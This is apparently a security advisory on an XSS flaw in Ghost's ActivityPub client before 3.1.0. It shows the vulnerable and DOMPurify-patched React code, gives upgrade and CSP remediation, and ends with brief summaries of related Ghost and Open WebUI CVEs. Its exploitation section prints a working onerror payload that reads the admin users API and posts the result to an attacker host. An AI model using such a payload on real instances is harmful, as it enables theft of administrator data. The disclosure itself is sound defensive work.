Aug 5, 2026·6 min read·3 visits
Unsanitized rendering of federated ActivityPub posts in @tryghost/activitypub prior to 3.1.0 allows remote attackers to execute arbitrary JavaScript in the context of Ghost administrators.
A high-severity Cross-Site Scripting (XSS) vulnerability was identified in the @tryghost/activitypub package, the social and federation client library for the Ghost publishing platform. Prior to version 3.1.0, the ActivityPub client rendered incoming federated posts from external servers directly in the web user interface without proper sanitization. A maliciously customized ActivityPub server federated with a Ghost instance could transmit crafted posts containing embedded HTML payloads. When viewed by a user inside the ActivityPub client interface, the browser executes the injected JavaScript within the security context of the Ghost application domain.
The @tryghost/activitypub package is an npm module designed to facilitate decentralized federation features within the Ghost publishing platform. This component handles core ActivityPub communication, enabling Ghost instances to serve as social actors that follow, receive, and render updates from external web instances. By processing incoming federated social objects, this package exposes the administrative user interface to external, untrusted network inputs.
The vulnerability is a DOM-based Cross-Site Scripting (XSS) flaw categorized under CWE-79. The security boundary is bypassed when the client-side React client processes and renders incoming federated posts without neutralizing executable elements. This allows a remote, unauthenticated federated server to inject executable scripts directly into the DOM of the target administrative feed.
Because the administrative panel handles critical system configurations, executing arbitrary JavaScript within this zone carries critical risk. The flaw allows external actors with no authentication on the target Ghost server to execute commands with the authority of the viewing administrative user. No direct administrative credentials are required to stage the attack vector.
The root cause lies in the application's uncritical trust of HTML content stored within ActivityPub social objects. The ActivityPub specification allows rich-text formatting within properties such as the content and summary tags of incoming notes. The Ghost client application is responsible for safely parsing and rendering this markdown or HTML output prior to visual presentation.
Prior to version 3.1.0, the client application parsed incoming post payloads and mapped the HTML string directly to the user interface via insecure components. By utilizing standard React patterns designed for raw HTML injection, the software omitted a sanitization step. Consequently, any executable scripts, custom handlers, or resource loaders embedded within the federated payload were evaluated and executed by the browser engine.
An attacker can customize an ActivityPub instance to construct structured federated events containing malicious event-driven HTML attributes. Standard HTML attributes such as onerror inside <img> tags or specialized nested <iframe> structures are utilized to bypass standard input patterns. When the Ghost administrative client encounters these objects in its social timeline, it automatically updates the view, integrating the untrusted raw source into the active context.
Analysis of the @tryghost/activitypub dependency updates reveals a clear mitigation model. In version 3.0.8, the production dependencies completely lacked dedicated HTML sanitization frameworks, relying strictly on direct React structural insertion. Let us examine the vulnerable code implementation pattern.
// Vulnerable component implementation
import React from 'react';
export function ActivityPost({ post }) {
return (
<div className="activity-post-content">
<div dangerouslySetInnerHTML={{ __html: post.content }} />
</div>
);
}Version 3.1.0 remediates this design flaw by integrating the DOMPurify library into the dependency profile. DOMPurify utilizes a strict HTML sanitization allowlist to parse, clean, and rebuild raw HTML before committing the outcome to the DOM. Let us examine the corrected implementation pattern.
// Patched component implementation
import React from 'react';
import DOMPurify from 'dompurify';
export function ActivityPost({ post }) {
const cleanContent = DOMPurify.sanitize(post.content, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'span', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'target', 'rel', 'class']
});
return (
<div className="activity-post-content">
<div dangerouslySetInnerHTML={{ __html: cleanContent }} />
</div>
);
}This remediation provides strong protection against XSS. By processing raw HTML strings in a detached DOM tree, DOMPurify strips script blocks and dangerous attributes. This architectural change ensures that only safe, structure-only HTML tags are evaluated and rendered within the administrator's security context.
To execute this attack, the malicious actor must establish a federated connection with the target Ghost instance. This requires the attacker's server to process ActivityPub HTTP signatures and establish federation. Once federation is established, the attacker sends a structured activity payload containing a maliciously formatted HTML body.
The payload is carried in a standard JSON-LD structure, targeting the inbox endpoint of the Ghost platform. Below is an example payload representing the malicious ActivityPub Note containing an image element with a hidden script execution attribute:
<p>System Announcement<img src="invalid.jpg" onerror="
(async () => {
const response = await fetch('/ghost/api/admin/users/');
const data = await response.json();
await fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify(data)
});
})()
" style="display:none;" /></p>When the administrator views the social activity timeline, the browser loads the rendering component. The image source resolution failure immediately fires the onerror handler, executing the inline JavaScript block. This execution requires no explicit confirmation or click actions from the administrator beyond loading the feed.
The security impact of CVE-2026-53950 is defined by the high level of access held by administrative users. Because the script executes within the administrator's browser, it inherits all permissions and active session state of that user. This enables the script to bypass standard client-side authentication mechanisms and operate within the context of the Ghost Admin API.
An attacker can perform automated backend actions, such as extracting user directories, adding unauthorized administrative accounts, or injecting malicious backend integrations. The script can also modify existing theme templates to plant a persistent web shell, transitioning a client-side vulnerability into an avenue for permanent server-side compromise.
The CVSS rating of 7.5 reflects these consequences while acknowledging that attack execution requires specific configuration conditions and user interaction. However, because administrative interactions are standard in maintaining federated networks, this flaw presents a reliable path to exploitation in active deployments.
Remediation requires upgrading the @tryghost/activitypub package to version 3.1.0 or newer. For administrators of self-hosted Ghost instances, this package is updated during normal Ghost core updates. Upgrades can be verified and executed directly via the Ghost CLI utility.
# Navigate to your Ghost installation directory and execute
ghost updateIf updates cannot be performed immediately, the attack vector can be mitigated by configuring a strict Content Security Policy (CSP). Administrators should serve CSP headers that restrict unauthorized inline scripts and define secure network connection boundaries:
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://your-trusted-backends.com; object-src 'none';Security teams must review active dependency trees to confirm the mitigation is in place. Audit the resolved version inside the local lockfile of the Ghost installation to confirm that version 3.1.0 of @tryghost/activitypub is successfully pulled.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@tryghost/activitypub Ghost Foundation | < 3.1.0 | 3.1.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 7.5 (High) |
| EPSS Score | 0.00204 (10.597% percentile) |
| Exploit Status | No known public exploits |
| CISA KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
CVE-2026-70593 is a path traversal and arbitrary file write vulnerability affecting Ghost CMS. Versions from 0.10.0 up to 6.54.0 are vulnerable. Authenticated administrators can exploit this flaw by uploading a custom theme in a ZIP archive that contains path traversal characters. The vulnerability is mitigated in version 6.54.1.
A critical session fixation vulnerability exists in the Ghost Admin panel from version 2.2.0 until 6.54.1. The Express-based authentication backend fails to invalidate or rotate the session identifier during login, allowing attackers to hijack administrative sessions.
CVE-2026-53947 is an observable response discrepancy (CWE-204) in Ghost CMS that permits unauthenticated remote user enumeration via the passwordless magic link sign-in endpoint.
An unauthenticated remote business logic vulnerability in Ghost CMS versions 6.27.0 through 6.43.1 allows attackers to bypass paid subscription gates. By injecting reserved metadata fields into public donation Stripe Checkout Sessions, attackers can obtain premium-tier memberships for arbitrary nominal amounts.
A critical broken access control vulnerability in Open WebUI (v0.10.0 to v0.11.0) allows authenticated write-collaborators to delete shared subfolders they do not own. Because deletion triggers a backend cascade using the folder owner's identity, this results in unauthorized permanent deletion of the owner's nested chats, messages, and files.
Open WebUI is susceptible to Server-Side Request Forgery (SSRF) when deployed in networks with NAT64 translation gateways. Authenticated users can bypass host validation checks by encapsulating internal or cloud-metadata IPv4 addresses within globally-routable IPv6 transition prefixes.